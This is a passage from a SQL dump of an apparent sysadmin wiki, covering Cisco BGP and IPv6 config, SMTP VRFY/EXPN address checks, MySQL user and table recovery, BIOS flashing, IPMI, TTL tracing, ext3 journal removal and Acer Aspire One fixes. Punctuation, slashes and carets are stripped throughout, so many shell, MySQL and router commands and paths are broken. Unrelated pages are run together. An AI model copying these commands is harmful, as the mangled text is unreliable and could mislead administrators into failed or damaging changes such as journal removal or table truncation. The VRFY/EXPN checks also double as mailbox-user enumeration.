0 0 0 0 0 172 16 0 1 220 clear bgp information clear ip bgp 10 0 0 1 more on bgp more on bgp more on bgp next-hop-self #needed to propagate correctly as by default the next hop is the original router that advertises itself local-pref and weight values higher is better localpref is not exchanged between ases multi-exit discriminator attribute with multiple entrances to an as the lower med value is preferred med is configured on the entrance side of the as localpref on the exit side of an as know the bgp community types in order to push a route up into the routing table that bgp has knowledge of you can enter the bgp process and use no synchronization sanjose2#sh ip bgp bgp table version is 19 local router id is 192 168 1 6 status codes s suppressed d damped h history valid best i - internal origin codes i - igp e - egp - incomplete network next hop metric locprf weight path 172 24 1 0 24 0 0 0 0 0 32768 i 192 168 1 4 30 0 0 0 0 0 32768 i i199 9 9 0 172 24 1 18 0 100 0 i to puch 199 9 9 0 into the routing table sanjose2 config-router #no synchronization ip multicasting ip multicasting ip multicasting because the first bit of the second octet is ignored there are 32 ip address that will resolve to the same multicast mac address any 00-01-5e-xx-yy-zz mac is multicast internet group management protocol igmp igvm v2 - hosts transmits a leave message to 224 0 0 2 all routers to indicate the group it is leaving ip multicast-routing router config # ip pim dense sparse sh ip mroute interface fa0 0 ip igmp join-group 229 7 7 7 sh ip igmp groups debug ip igmp debug ip packet ipv6 ipv6 ipv6 general interface configuration and eui-64 auto config options r2 config-if #ipv6 address fec0 2 1 112 local-link r2 config-if #ipv6 address fec0 2 1 64 eui-64 to automatically generate last 64 bit host id r2#sh ipv6 interface serial 0 0 r2#sh ipv6 interface brief enable ipv6 routing r2 config #ipv6 unicast-routing r2 config #ipv6 sef ospf networks are added to the interface unlike adding them under the router ospf mode r2 config-if #ipv6 ospf 1 area 0 ospf process 1 area 0 r2#sh ipv6 ospf neighbor interface r2#sh ipv6 route final notes final notes final notes default routes default information originate always on border is propagated to branch2 branch 2 router ospf 1 contains area 1 stub no summary which pushes the default route from border into it ipv6 tunneling interface tunnel0 no ip address ipv6 address 2002 a01 9 64 tunnel source 10 1 0 9 tunnel destination 10 1 0 11 tunnel mode ipv6ip '),(140,'business and economics',' economics thomas malthus wrote famous essay on population presenting the ideas of overpopulation and limited resources the ideas of which gave rise to the subject of economics being regarded as the dismal science contemporary supporters of malthus ideas are termed neo-malthusians adam smith wrote an inquiry into the nature and causes of the wealth of nations 1776 and is considered the father of modern economics '),(141,'smtp address verification',' email address verification how to tell if an email address exists at a remote mail server the below is from a email verification test using smtp checks these checks connect to an smtp agent using gopher from your machine they only work with certain browsers verify smtp email equivalent to telnet digitalriver com 25 helo vancouver-webpages com vrfy zombiesmacker quit show smtp forwarding equivalent to telnet digitalriver com 25 helo vancouver-webpages com expn zombiesmacker quit note additional information from the smtp server may disallow certain commands such as vrfy and expn and will thus return a result such as vrfy joeuser someplace com 252 2 5 2 cannot vrfy user; try rcpt to attempt delivery or try finger this can be modified in the smtp server config for example for sendmail locate the config file usually etc mail sendmail cf and look for the section #privacy flags - novrfy or goaway may be specified either of which will prevent use of the vrfy command modify the file and restart the smtp server if allowed a proper vrfy query and response may look like vrfy joeuser someplace com 250 2 1 5 juser '),(142,'mysql tools and tips',' user priviledges user priviledges user priviledges mysql uses both the user name and host you are connecting from to establish identity to create a new user and grant privilages for local and remote access mysql grant all privileges on ocsweb to \'sago\' \' \' identified by \'sago\'; mysql grant all privileges on ocsweb to \'sago\' \'localhost\' identified by \'sago\'; mysql set password for \'sago\' \'localhost\' password \'blargh\' ; mysql flush privileges; mysql show grants for \'sago\'; mysql show grants for \'sago\' \'localhost\'; mysql select user host from mysql user; mysql revoke all privileges grant option from vadar; mysql drop user vadar; note the revoke statement removes access privileges but it does not remove entries of login names from the user table of the mysql database thus one can still connect to the database server using those login names but you will not be able to access the databases where privileges have been removed a good summary of useful mysql commands and some good training running out of tmp running out of tmp running out of tmp as i discovered from this post mysql creates hidden files in its tmp when executing queries these are not typical unix file hidden files but are rather unlinked but open files they will not show up with ls -la etc this is also why you never see any new files show up in tmp despite mysql creating them all the time also if you try to watch the size of tmp with something like du -sh tmp that won\'t work either - as the file is deleted it is not calculated into the used space thus the tmp file remains empty while you then run out of space oddly you will however see the space gradually being used up by running df -h though you can identify these with lsof as given in the above post for example root someplace # usr sbin lsof -c mysql -a l1 command pid user fd type device size nlink node name mysqld 26121 mysql 4u reg 253 6 3057 0 423510018 data5 mysqltemp ibsoxlmj deleted mysqld 26121 mysql 5u reg 253 6 0 0 423510019 data5 mysqltemp ibtsvfjc deleted so if your query is reporting running out of room in tmp try running it again while monitoring the size of the partition with df -h and using lsof as above and you will likely find you are in fact running out of room though you may appear to have plenty more information on using lsof to find unlinked open files can be found here and why unlinking files this way is not always good with other tips can be found here exporting databases exporting databases exporting databases a good intro guide for using mysqldump can be found here the basic syntax might be something like mysqldump -v --single-transaction my-database my-database sql size differences sql vs on-disk file size differences between databases on disk and sql dump files created from mysqldump or phpmyadmin can be caused by several factors including whether extended-insert was used when running the dump the default behavior for this is set as an environmental for the mysqldump utility and the current state of this and other variables can be viewed by running #mysqldump --help variables are displayed in paramater value pairs such as extended-insert true you may change these using #mysqldump --extended-insert false importing databases importing databases importing databases root ns1 home timelord www # mysql timelord_sql10minutes show variables like \' dir \'; mysql 4 x password hashes mysql 4 x password hashes mysql 4 x password hashes if passwords in a database were created with the version 4 password function they will be of a different hash value than the version 5 function there are a few solutions given here you can also change your php code to use the old_password function which will produce the same hash as the version 4 function another option is to start mysql with the old passwords option then reset all the passwords in the database as described here unauthenticated users unauthenticated users unauthenticated users mysql does reverse dns lookups on connecting clients while this occurs they will be listed as unauthenticated user in the process list this adds a bit of time and may not be required you can disabled this as described here and here by including you your my cnf skip-name-resolve or by starting mysql with --skip-name-resolve select statement magic select statement magic select statement magic trying to select results from two tables including null values but the null ones are being skipped try looking here query logging query logging query logging mysqld set-variable long_query_time 2 log-slow-queries var log mysql log-slow-queries log #log var log mysql mysqld log # log all queries # log-bin var log mysql mysqllogb log the binary log contains all statements that update data or potentially could have updated it for example a delete which matched no rows statements are stored in the form of events that describe the modifications the binary log also contains information about how long each statement took that updated data the binary log is not used for statements such as select or show that do not modify data if you want to log all statements for example to identify a problem query use the general query log interfaces interfaces interfaces in addition to phpmyadmin there are some other interfaces for mysql such as resources resources resources some great links '),(143,'biostar 740g bios update',' a740g bios updating note as of 23 sep 2008 the latest bios available on biostar biostar\'s site is 8 00 14 which is the version that shipped with our boards the amd biostar a740g m2 boards do not have a functioning bios based built in update utility and biostar does not supply a dos based flash utility - they expect you to install windows in order to flash a system biostar only distributes afuwin exe the windows version of the flashing utility while f12 during post does launch a built in flash utility but it is not clear what image type they are looking for from the floppy an alternative is to use the dos equivalent of the flash utility available directly from ami which allows you to save and load bios images so yes this means that when a bios update eventually comes out you have to a install it in windows and then if you like you can b save the bios using afdos exe on floppy and then use the same utility to flash other systems with or c use a dedicated hard drive with windows on it that servers to perform bios updates on these boards through windows get the ami dos flash utility from here the dos based one is called afudos exe and is a dos executable put it on a floppy and execute from there note this is a command line tool unlike the text gui flash utilities for yesteryear and you specify command line switches for options as below afudos useage afudos useage afudos useage a afudos usage afudos i o additional usage ------------------------------------------- afuxxx i o nr p b n c nr - don\'t check rom id pbnc - b - program boot block n - program nvram c - destroy system cmos bios update bios update bios update '),(144,'open office docx converter',' need to open microsoft docx files in open office the newest version of ooo supports docx but if you are using an older version you can use the following steps to install a command line converter the above provided most of the steps though you may have to make some adjustments to sym linke a library depending on your version of libtiff my steps where sudo apt-get install rpm libgif4 wget rpm2cpio odf-converter rpm cpio -ivd sudo cp usr lib ooo-2 0 program odfconverter usr bin sudo apt-get install libtiff4-dev sudo apt-get install libtiff4 sudo ln -s usr lib libtiff so 4 usr lib libtiff so 3 odfconverter i sagosafe docx with no other option this will produce an odt conversion of the docx file '),(145,'sago job descriptions',' general description tracking code 2008140 job description what we\'re looking for -- technicians should be familiar with common network attack methods used against systems connected to the internet -- working knowledge of juniper foundry and cisco networking devices required experience -- technicians should be familiar with common network attack methods used against systems connected to the internet -- working knowledge of juniper foundry and cisco networking devices -- knowledge of fundamental ip networking methods as well as linux and windows systems administration is a plus -- ccna jncia-m or other relevant certifications network operation center noc technician i network operation center noc technician i network operation center noc technician i detail-oriented team members to join our network operations center who demonstrate exceptional customer service and analytical skills weu8e28099re looking for people who can effectively interact with a wide range of customers who have varying levels of technical proficiency required skills - tcp ip experience including ip addressing subnet masking and the basics of ip routing - experience with any of the following windows servers solaris linux plesk cpanel virtuozzo - ability to multi-task many requests in an organized and timely manner - proven excellence in verbal written and interpersonal communication skills with a strong emphasis on customer support service - maintain a professional level of follow up and attention to detail - superior organizational skills - high school diploma or ged required this is a shift-based position individuals must be prepared to work a rotating schedule of shifts that may include night weekend and holiday work network operation center noc technician ii network operation center noc technician ii network operation center noc technician ii detail-oriented team members to join our network operations center who demonstrate exceptional customer service and analytical skills weu8e28099re looking for people who can effectively interact with a wide range of customers who have varying levels of technical proficiency required skills 2-3 years tcp ip experience including ip addressing subnet masking and the basics of ip routing intermediate level of knowledge and troubleshooting windows servers solaris linux plesk cpanel and virtuozzo plan implement maintain keep consistent secure and troubleshoot mixed ms linux networks train other noc personnel as needed on technical or non-technical matters ability to multi-task many requests in an organized and timely manner proven excellence in verbal written and interpersonal communication skills with a strong emphasis on customer support service maintain a professional level of follow up and attention to detail superior organizational skills high school diploma or ged required desired skills junior level linux professional lpic-1 certification advanced level linux professional lpic-2 certification ccna mcsa this is a shift-based position individuals must be prepared to work a rotating schedule of shifts that may include night weekend and holiday work network operation center noc technician iii network operation center noc technician iii network operation center noc technician iii detail-oriented team members to join our network operations center who demonstrate exceptional customer service and analytical skills weu8e28099re looking for people who can effectively interact with a wide range of customers who have varying levels of technical proficiency required skills 3-5 years tcp ip experience including ip addressing subnet masking and the basics of ip routing dns ssh and mysql advanced level of knowledge and troubleshooting windows servers solaris linux plesk cpanel and virtuozzo plan implement maintain keep consistent secure and troubleshoot mixed ms linux networks train other noc personnel as needed on technical or non-technical matters ability to multi-task many requests in an organized and timely manner proven excellence in verbal written and interpersonal communication skills with a strong emphasis on customer support service maintain a professional level of follow up and attention to detail superior organizational skills high school diploma or ged required desired skills junior level linux professional lpic-1 certification advanced level linux professional lpic-2 certification senior level linux professional lpic-3 certificaton ccnp mcse this is a shift-based position individuals must be prepared to work a rotating schedule of shifts that may include night weekend and holiday work '),(146,'hard drive failures',' in my work in a data center the subject of drive failure predicting such and the trends in raid levels and the real world protection offered by raid 5 is a frequent topic raid 5 once a veritable holy grail and savior to all is loosing is luster as drive sizes increase now with 1 tb drives in an array with many many more sectors the probability of an unrecoverable read error during a raid rebuild increases resulting in a failure to rebuild the array thus the protection offered by raid 5 decreases as drive sizes increase here is a link to one of the better papers i have seen on the subject of drive failure and predictive failure in hpc and data center environments this paper won paper of the year at usenix fast\'07 disk failures in the real world what does an mttf of 1 000 000 hours mean to you bianca schroeder and garth a gibson carnegie mellon university some other great references on drive failure and how raid 5 is quickly becoming very ineffective in providing adequate protection as drive sizes and therefor read errors increase are and here is a good google paper as well '),(147,'open suse 11 notes',' browser plugins firefox plugins are installed in usr lib browser-plugins no mplayer or xine mozilla extensions are installed by default to enable browser multimedia support install either mplayerplug-in or xine-browser-plugin if you really want to compile the mplayer plugin from source heaven forbid kmplayer is the one for konqueror and is a basic front end to xine mplayer for kde '),(148,'solaris training and information',' a free class showing some highlights of solaris 10 including dtrace zfs containers and solaris security features zfs administration guide '),(149,'traceroute ping and ttl values',' ttl values vary wildly depending on different operating systems thus when you ping an address your ttl on replies may not be what you expected here is an example with a traceroute from one server to another root tardis # traceroute 72 184 100 200 traceroute to 72 184 142 161 72 184 100 200 30 hops max 38 byte packets 1 gi3-2 as02 tpa sagonet net 66 118 149 1 0 679 ms 0 620 ms 0 588 ms 2 ve10 core01a tpa sagonet net 65 110 32 1 0 636 ms 0 420 ms 0 397 ms 3 ve40 core01 atl sagonet net 63 246 159 42 12 254 ms 12 252 ms 13 992 ms 4 border2 ge1-1 sagonet-1 acs002 pnap net 70 42 180 149 13 418 ms 13 198 ms 13 011 ms 5 core4 ge3-0-bbnet2 acs pnap net 64 94 0 70 12 947 ms 12 952 ms 13 265 ms 6 pos1-1 gw9 atl1 alter net 63 122 231 197 13 758 ms 14 481 ms 13 410 ms 7 103 at-1-0-0 xr2 atl1 alter net 152 63 85 102 13 610 ms 13 464 ms 34 163 ms 8 0 so-1-0-0 xl2 atl1 alter net 152 63 86 101 13 944 ms 13 639 ms 13 646 ms 9 0 so-7-0-0 xt2 atl4 alter net 152 63 86 109 18 069 ms 15 436 ms 17 476 ms 10 0 so-7-0-0 br2 atl4 alter net 152 63 81 149 15 491 ms 15 577 ms 15 432 ms 11 oc48-9-1 car2 atlanta1 level3 net 4 68 127 177 13 977 ms 14 242 ms 14 958 ms 12 ae-62-51 ebr2 atlanta2 level3 net 4 68 103 29 20 158 ms ae-72-52 ebr2 atlanta2 level3 net 4 68 103 61 17 789 ms ae-62-51 ebr2 atlanta2 level3 net 4 68 103 29 18 156 ms 13 ae-1-6 bar1 tampa1 level3 net 4 69 137 113 32 476 ms 32 309 ms 32 838 ms 14 ae-0-11 bar2 tampa1 level3 net 4 69 137 110 37 577 ms 32 241 ms 32 164 ms 15 ae-7-7 car2 tampa1 level3 net 4 69 133 41 32 530 ms 32 339 ms 34 117 ms 16 roadrunner car2 tampa1 level3 net 4 79 146 2 33 509 ms 32 522 ms 34 473 ms 17 gig10-0 tampfledc-rtr2 tampflrdc rr com 65 32 13 65 32 755 ms 33 439 ms gig14-0 tampfledc-rtr2 tampflrdc rr com 65 32 13 34 32 278 ms 18 gig3-0-0 tampflc01-ubr1 tampabay rr com 65 32 c d 39 156 ms 38 617 ms 35 761 ms this shows 18 hops in addition to this at the receiving end there are two other routers behind nat thus a total of 20 router hops now going the the other way with a ping we can see the ttl is 45 callandor # ping timelordz com ping timelordz com 66 118 149 130 56 84 bytes of data 64 bytes from timelordz com 66 118 149 130 icmp_seq 1 ttl 45 time 43 3 ms 64 bytes from timelordz com 66 118 149 130 icmp_seq 2 ttl 45 time 42 4 ms 64 bytes from timelordz com 66 118 149 130 icmp_seq 4 ttl 45 time 52 0 ms now the million dollar question - why is the ttl 45 because it is set to 65 by the receiving linux server and decrements by 1 for each router on the return hop until its destination is reached in this case 20 hops later this then also show you there are two invisible routers behind nat that are decriminting the ttl this can then be used to show the presence of routes you might be unaware of the problem though is that the ttl set by the system which creates the icmp echo replies can vary - it is 64 on linux systems but it could also be 255 or other values additionally each router itself can further alter the ttl you can check your default ttl on most linux systems by cat proc sys net ipv4 ip_default_ttl a list of various operating systems and their default ttl values can be found at but in best case scenarios the above behavior could be observed now what happens if you manually set the ttl value on your ping to something below the actual hop count callandor # ping -t 14 timelordz com ping timelordz com 66 118 149 130 56 84 bytes of data from gige4 ds-b 03 tpa sagonet net 66 118 133 214 icmp_seq 1 time to live exceeded from gige4 ds-b 03 tpa sagonet net 66 118 133 214 icmp_seq 1 time to live exceeded from gige1 ds-b 03 tpa sagonet net 65 110 32 48 icmp_seq 2 time to live exceeded c --- timelordz com ping statistics --- 2 packets transmitted 0 received 3 errors 100 packet loss time 1007ms as you can see as the ttl of 18 exceeds the ttl of 14 specified in the ping the packets ttl expire before they make it back to you '),(150,'kernel drive status messages',' sometime you see kernel message such as oct 8 00 49 24 server kernel hdc drive_cmd status 0x51 driveready seekcomplete error oct 8 00 49 24 server kernel hdc drive_cmd error 0x04 drivestatuserror oct 8 00 49 24 server kernel ide failed opcode was 0xb0 these do not necessarily indicate a bad had drive this can mean several things but is usually always non critical if smartctl does not show any smart attributes that indicate poor drive health these messages can be ignored read here run smrtctl and investigate see the article on smart drive diagnostics driveready fine not an error seekcomplete error asked for a sector that does not exist or received a command not understood drivestatuserror return code that an error occurred the following link is an analysis of this issue showing the kernel source code that contains these strings and showing these errors are often caused by buggy ide drives or other drive issues drive received a command it did not understand etc '),(151,'remove and create ext3 journal',' summary sometimes the journal on an ext3 file system gets corrupted this can cause problems when an fsck is run etc it may be necessary to remove the ext3 journal which converts the file system to ext2 and then recreate the journal doing so requires only three commands #first lets nuke the ext3 journal and make the file system ext2 tune2fs -o has_journal dev hdax #now run an fsck on the file system which is now ext2 fsck ext2 -f dev hdax #now re-create the journal making the file system ext3 once again tune2fs -j dev hdax if you create a journal on a mounted file system a journal file will be created a completely invisible journal file is created if you create a journal on an unmounted file system all about ext2 all about ext2 all about ext2 please note some people prefer ext2 and so if you add or remove a journal permanently make sure you update etc fstab to reflect the new file system type - otherwise you will have issues with the converted partitions mounting correctly as they will be specified as the wrong type you might be asking why would anyone ever want and ext2 file system from the faq link below this is what one of the developers andreas dilger said about it in order to ensure that ext3 can safely resume an unlink after a crash it actually zeros out the block pointers in the inode whereas ext2 just marks these blocks as unused in the block bitmaps and marks the inode as deleted and leaves the block pointers alone data recovery data recovery data recovery as you can see this is a substantial difference in how file are deleted and the ease of being able to recover deleted data now does that mean data deleted from ext3 is gone forever well no - but the job is made far more difficult your only chance may be through a file carving tool such as scalpel which is file system independent your mileage may vary when attempting to recover deleted data from any file system especially ext3 a good faq on ext3 and the above steps can be found here '),(152,'hard drive performance',' hdparm settings hdparm settings hdparm settings sata drive combined mode sata drive combined mode sata drive combined mode why does my ide hard drive run at 3mb s while sata runs at full speed why does my ide drive or cd-rom not use dma while sata works just fine kernel drive caching kernel drive caching kernel drive caching clearing inode and page caches on disk you can fill the cache byt doing a simply dd or running ls -lr and reading in a big stream of data of overwrite the kernel and drive controller cache then perform your drive performance test also if you manually want to specify what drive cache memory to free you can use to free pagecache echo 1 proc sys vm drop_caches to free dentries and inodes echo 2 proc sys vm drop_caches to free pagecache dentries and inodes echo 3 proc sys vm drop_caches as this is a non-destructive operation and dirty objects are not freeable the user should run sync first in order to make sure all cached objects are freed drive configuration settings drive configuration settings drive configuration settings dumpe2fs dev hda1 less hdparm -i dev hda hdparm -i dev hda '),(153,'crafty chess compiler benchmarks',' intro intro intro after discovering this interesting macles blog article discussing using the intel c compiler for linux to compile the crafty chess engine i wanted to replicate this authors steps and benchmarks the basic premise is to compile crafty with both the intel c compiler and gcc with similar cflags and benchmark the results i am comparing my results to macles using i believe identical hardware platforms the aspire one i am compiling and testing on my new acer aspire one a new entry in the ultra mobile pc class of tiny notebooks i have been waiting to buy one until they were available with mutli-threaded processors and the aspire one has the intel atom cpu crafty provides a perfect experimental application as it compiles quickly and runs with extremely high load and if compiled with support will run multi-threaded please see intel c compiler for linux for a general article on how to obtain and set up the intel c compiler for linux first the rest assumes this is already installed and the environment set up to use the icc compiling crafty and cflags compiling crafty and cflags compiling crafty and cflags note icc version 12 now supports the documented switch -xsse3_atom for the atom this article on macles site has some info on benchmarks with this optimization i downloaded the crafty source from and modified the makefile to alter the cflags running make by default will attempt to make-icc using the intel c compiler profile however with the default make file options i could not get it to compile correctly i changed the makefile to linux-icc make target linux cc icc cxx icc cflags \' cflags -o3 -xl \' cxflags \' cflags -o3 -xl \' ldflags \' ldflags -lstdc \' opt \' opt -dtest -dinline32 -dcpus 2 \' crafty-make the above cflags -o3 -xl are intended to compile with high optimization -03 and using the cflag for the atom architecture -xl however including the -xl resulted in this error egtb cpp 5206 col 9 remark loop was vectorized icc -lstdc -o crafty crafty o egtb o -lm crafty o in function validateposition \' crafty c text 0x7926 undefined reference to __svml_irem4\' crafty o in function displaychessboard \' crafty c text 0x1bfb3 undefined reference to __svml_irem4\' make 3 crafty error 1 make 3 leaving directory mnt home downloads crafty-22 1\' make 2 crafty-make error 2 make 2 leaving directory mnt home downloads crafty-22 1\' make 1 linux-icc error 2 make 1 leaving directory mnt home downloads crafty-22 1\' make default error 2 now by removing the -xl flag it compiles fine however my performance running crafty in both single and multi-threaded mode fell far short of the results obtained at the blog site i was using for a guide also the same error occurs with trying to use the -ipo flag which is discussed in the intel paper optimizing applications with intelu8c2ae c and fortran compilers for windows linux and mac os version 10 x available here the lack of inter procedural optimization in running crafty is likely a large performance hit benchmarking benchmarking benchmarking the benchmark capability is build into crafty but appears missing from any official documentation i could find documentation and manual page was not included in the source code for version 21 but version 18 documentation and man page is available here - though the bench function is omitted benchmarking crafty was done by running the compiled client and then entering root localhost crafty-22 1 # crafty crafty v22 1 1 cpus white 1 bench running benchmark total nodes 50402631 raw nodes per second 413780 732288 total elapsed time 121 810000 white 1 smpmt 2 max threads set to 2 white 1 bench running benchmark total nodes 56588055 raw nodes per second 597866 402536 total elapsed time 94 650000 after setting smpmt 2 and running the benchmark again two threads were visible in top and the total nodes were significantly higher at 56588055 so while it was running with multi-threaded support even without compiling with -xl it was still significantly lower than macles which obtain a result of approx 6700000 - nodes per second my results compiling with the intel compiler without -xl were slightly under the gcc results macles obtained on the same aspire one hardware platform so it would appear getting this to work with the -xl or -ipo flags is significant i will update this as i learn more about resolving the compile issues and post further benchmarks xboard integration xboard integration xboard integration as i like chess and might want to actually play using the optimized crafty engine i checked out xboard however under fedora core 8 on the aspire one xboard was unable to find crafty as the engine even if specifying the -fd path to it starting xboard like this xboard -fcp crafty -fd mnt home downloads crafty-22 1 crafty & would result in error writing to first chess program broken pipe and failed to find the first chess program crafty on localhost no such file or directory despite the fact the path was correct and the crafty binary was there to resolve this i just copied the compiled crafty binary to a location in my path for example usr local bin and xboard was able to find it odd it does not despite specifying the directory with -fd but oh well resources resources resources '),(154,'intel c compiler for linux',' image intel-logo pngu8e2808e left image linux-logo pngu8e2808e icc vs gcc icc vs gcc icc vs gcc the gcc compiler on linux is practically ubiquitous is is available in every distro distro\'s repository and most people use it compiling software when binaries are not available however there are other options for compilers for linux available and to my surprise i recently learned the intel c and fortran professional compilers for linux are free almost as in beer for non-commercial use and are fully functional while interesting why would you bother using another compiler gcc works and is open source all the way baby so why not just use it as you always have speed lots of it the intel c compiler icc optimizations can at times yield a 30 performance gain when applications are compiled with them further my new acer aspire one has its own intel cflag of -xl which while supported in icc is not at this time recognized by gcc where to get it where to get it where to get it pop on over to the intel site to grab your free c compiler for ia32 ia64 and itanium platforms look around and find some other goodies too like vtune and threadchecker installation on linux system is very straight forward previously i believe the icc was an rpm requiring use of alien for debian user etc but now they are tar gz files with a single install sh script to run - easy as pie using icc using icc using icc pay attention to the documentation included for icc available at the intel icc home site and also available directly here especially the section on setting up the compiler environment in addition to running the set up script usualy with source bin iccvars sh you may have to modify any make file to ensure the cc cflags and other options are set correctly as the intel compiler and the gcc use different options and cflags dipping your toe dipping your toe dipping your toe for myself i keyed off macles blog and decided to set loose the dogs of compiler war using a perfect test application a chess engine to learn about the different compiler flags and benchmark results check out his blog and you may find my article crafty chess compiler benchmarks for some additional pointers add an ide add an ide add an ide why stop there go ahead and add a side order of an integrated development environment perhaps eclipse c c development toolkit which integrates with the intel c compiler installing eclipse c c is as easy as downloading it and running the install script be patient it takes a few minuets while really more suited to larger c projects it is worth playing around with if you have not used it before my limited programming skills make vi just fine but i look forward to learning more about eclipse and how to use it '),(155,'mysql table recovery to the extreme',' from the sago networks kb article here first log into phpmyadmin and click on the database then click the checkbox next to the table scroll down and select a repair it will probably tell you ok whether it worked or not so go back to the same screen and run a check to see if it worked screen shots still crashed corrupted log into ssh stop the mysql server and change directory to the directory where the mysql data file for that table is stored cd var lib mysql database_name use myisamchk to repair the table myisamchk table_name myi myisamchk -r table_name myi you can use myisamchk without any options to check the table from the command-line if there are no errors go ahead and start mysql back up and you are done still crashed corrupted this is a more extreme method of recovery and should only be used if you\'ve tried everything else first make a backup of the data files now log into mysql as root and perform these commands mysql -u root -p mysql use database_name; mysql set autocommit 1; mysql truncate table table_name; mysql exit; now copy the myd file that you made a backup of back to the original data directory for the database and then run myisamchk -r table_name myi that command will rebuild the table structure from the data file as long as the data file itself is not corrupt then you should be able to rebuild and have everything work '),(156,'ipmi console access',' dell blinking lights how do you find out what those blinking orange lights on the dells mean how do you turn those alert lights off this is actually extremely simple and any noc tech can easily investigate what events caused those indicator lights to come on review the logs and then if appropriate turn them off the console access and ipmi commands below tell you exactly how to do this it takes only minutes ipmi rocks the house ipmi rocks the house ipmi rocks the house ipmi allows you to monitor many aspects of server operations and status as well as issue various control commands this can be done regardless of the state of the os - even if the system is locked in a kernel panic you can still access ipmi as it is a separate service processor remote access remote access remote access just for your information normally you configure impi in bios by giving the server an ip to use on its ipmi interface which is actually an invisible nic used exclusively for this purpose this nic then shares one of the physical ethernet ports for example the dell servers have two ethernet ports and two ethernet interfaces - but they also have a third ethernet interface that is used for ipmi and this shares the first ethernet port of course you can configure ipmi so you can remotely connect to the server and issue ipmi commands reboot view the error log view various monitors for temperature fans cpu voltages etc but this requires configuring ipmi on the server and then connecting to it over the network you can even run a remote shell session by connecting via ipmi using serial over lan this is not particularly difficult and there is a separate detailed wiki on how to do this here ipmi configuration and monitoring console access console access console access even easier because setting up remote ipmi access involves several steps and can be time consuming you can also employ direct local console access using impitool this allows you to run ipmi commands locally and even enter an interactive ipmi shell etc setting this up takes just a few minutes and is very easy there are several ways you can do so outlined below ways to use ipmitools centos 5 2 script centos 5 2 script centos 5 2 script i have created a script that runs on centos 5 2 to help with this you simply wget the script from wget this downloads and installs all the rpms you need loads the kernel modules needed and gives you a pretty summary screen of what to do it is extremely easy to use you can install this on any box running centos 5 or higher and it should work fine centos 4 6 and lower need additional packages so in that case see the pxe solution below this allows you to check and clear the impi logs and make ipmi configuration changes without ever having to reboot the server nice eh pxe live environment ipmi pxe live environment ipmi pxe live environment ipmi our normal pxe linux live environment is rip and unfortunately this does not support ipmi however you can also use the \'rescuecd\' option from the first pxe menu this environment has the ipmitool binaries installed and the kernel modules you need to use it however they are not loaded by default to set this up to use ipmi is extremely use once you are at the command prompt simply type #modprobe ipmi_si #modprobe ipmi_devintf you can run ipmi commands directly or enter the interactive shell - see below for examples ubuntu live cd ubuntu live cd ubuntu live cd you should also be able to use a ubuntu live cd and install openipmi if needed and load the same kernel modules as above though i\'ve not tested however since you can use the pxe rescuecd environment it is suggested you use that rather than an actual physical cd those are sooooo last year ipmi commands ipmi commands ipmi commands here are some handy ipmi commands to help you get started there are a lot of things you can do with ipmi but these are some ones we are most likely to use remember you can run commands one at a time like these or you can just enter an interactive ipmi shell and use that use \' \' for help in this shell and each of its modes and sub modes ipmitool -i open chassis power # server power status ipmitool -i open sel list # show the server event log ipmitoo - i open sel clear # clear the log turns off light on dells ipmitool -i open sdr # view all sensors a lot of info here ipmitool -i open shell # interactive shell session you might want to use this opensolaris opensolaris opensolaris why can\'t i connect using ipmitool on opensolaris using root opensolaris # ipmitool -i bmc -u root chassis status could not open bmc device no such file or directory you use the bmc interface in solaris but the driver for this is restricted for a work around install the bmc files from a sxce or sxde or nevada disto or ip the interface in the bmc manager and connect with the lan interface such as ipmitool -i lan -h sps_ip_address -u root which comes from this bug report additional solaris ipmi info can be foune here '),(157,'samba server installation',' here are some notes and sites on installing and configuring a samba server for linux and here is a complete o\'reilly book on line with complete coverage of samba and of course the official site is something like '),(158,'acer aspire one',' good stuff to know good stuff to know good stuff to know linplus kernel source atom processor specs the kernel source from acer is available at unmodified full kernel source ethernet driver i managed to nuke the ethernet driver when i recompiled the stock acer kernel and had to find the driver somewhere on line should you need it the realtek 8101e driver is here media r8101-1 009 00 tar bz2 aircrack the 9x builds do not seem to work correctly however the 1 0 ones do madwifi drivers root localhost scripts # madwifi-unload unloading wlan_tkip unloading wlan_ccmp unloading wlan_xauth unloading wlan_wep unloading wlan_acl unloading wlan_scan_sta unloading ath_pci unloading ath_rate_atheros unloading ath_dfs unloading wlan unloading ath_hal sysstat utilities sysstat utilities sysstat utilities home page is you need to download and install this from source and pidstat is not in the version supplied by the fedora repos package & update dependencies package & update dependencies package & update dependencies i have to say the aspire one pretty much sucks at updating out of the box the user will find they run one update but on the next round they get hit with an error dependency issues will continue to plague the user as there are a variety of packages made by acer on the system - however acer has no yum repo and therefor there are inevitable conflicts between their custom packages and the standard fedora repos you will find that on a brand new aspire one each round of updates you attempt to do will result in one of the following dependency issue to resolve for example when updating either via yum or synaptic you will inevitably receive these errors which will prevent all further system updates round one updates may complete successfully now run the update again and you will find round two now you will see this error file usr share desktop-directories internet directory from install of gnome-menus-2 20 1-1 fc8 conflicts with file from package xfdesktop-acer-lp-1652 mcs_patched file usr share desktop-directories settings directory from install of gnome-menus-2 20 1-1 fc8 conflicts with file from package xfdesktop-acer-lp-1652 mcs_patched the solution is to use rpm to install rpm versions of gnome-menus redhat-menus you may also get a warning that networkmanger update failed but let the update complete and the other packages will be updated round three now you may get something like notification-daemon-xfce conflicts with notify-daemon missing dependency gecko-libs 1 8 1 18 is needed by package yelp this is resolved following the instructions at macles site sudo rpm -e --nodeps firefox sudo yum install firefox sudo ln -s usr lib firefox-2 0 0 16 usr lib mozilla sudo yum install yelp networkmanager if you end up with the network manager icon disappearing try updating the networkmanger packages with the latest from the repo replacing the one it shipped with this seems to work fine however the new version does not seem to remember encryption keys yum update networkmanager now kill any old version you have running then restart neworkmanager and nm-applet pgrep networkmanager kill pid found above networkmanager start nm-applet &2 dev null & kernel compiling kernel compiling kernel compiling a great guide can be found at some other good hints are at yum install gcc ncurses-devel powertop sysstat cp boot config_whatever working directory make oldconfig make menuconfig ln -f include asm-i386 asm-offsets h include asm asm-offsets h this is needed to get the kernel to build correctly kernel options to select config_debug_kernel y config_debug_info y kernel hacking - compile the kernel with debug info - this is not needed kernel hacking - collect kernel timers statictics kernel hacking - magic sysreq keys processor type and features - irq balancing n note you can also add noirqbalance to your boot loader line or turn this off here the above are all for powertop config_task_io_accounting y general setup - export task process statistics through netlink - enable all 3 options for pidstat device drivers - usb support- usb serial converter support m usb generic serial driver y mct single port serial driver y provides mct_u232 used by many usb serial dongles device drivers - usb support- usb selective suspend resume and wakeup y once your kernel options are configured you can run make and then make install note that for modules only if you want you can just run make modules if you want to make a specific module you can specify the relative path to the module while being in the kernel source directory - for example root 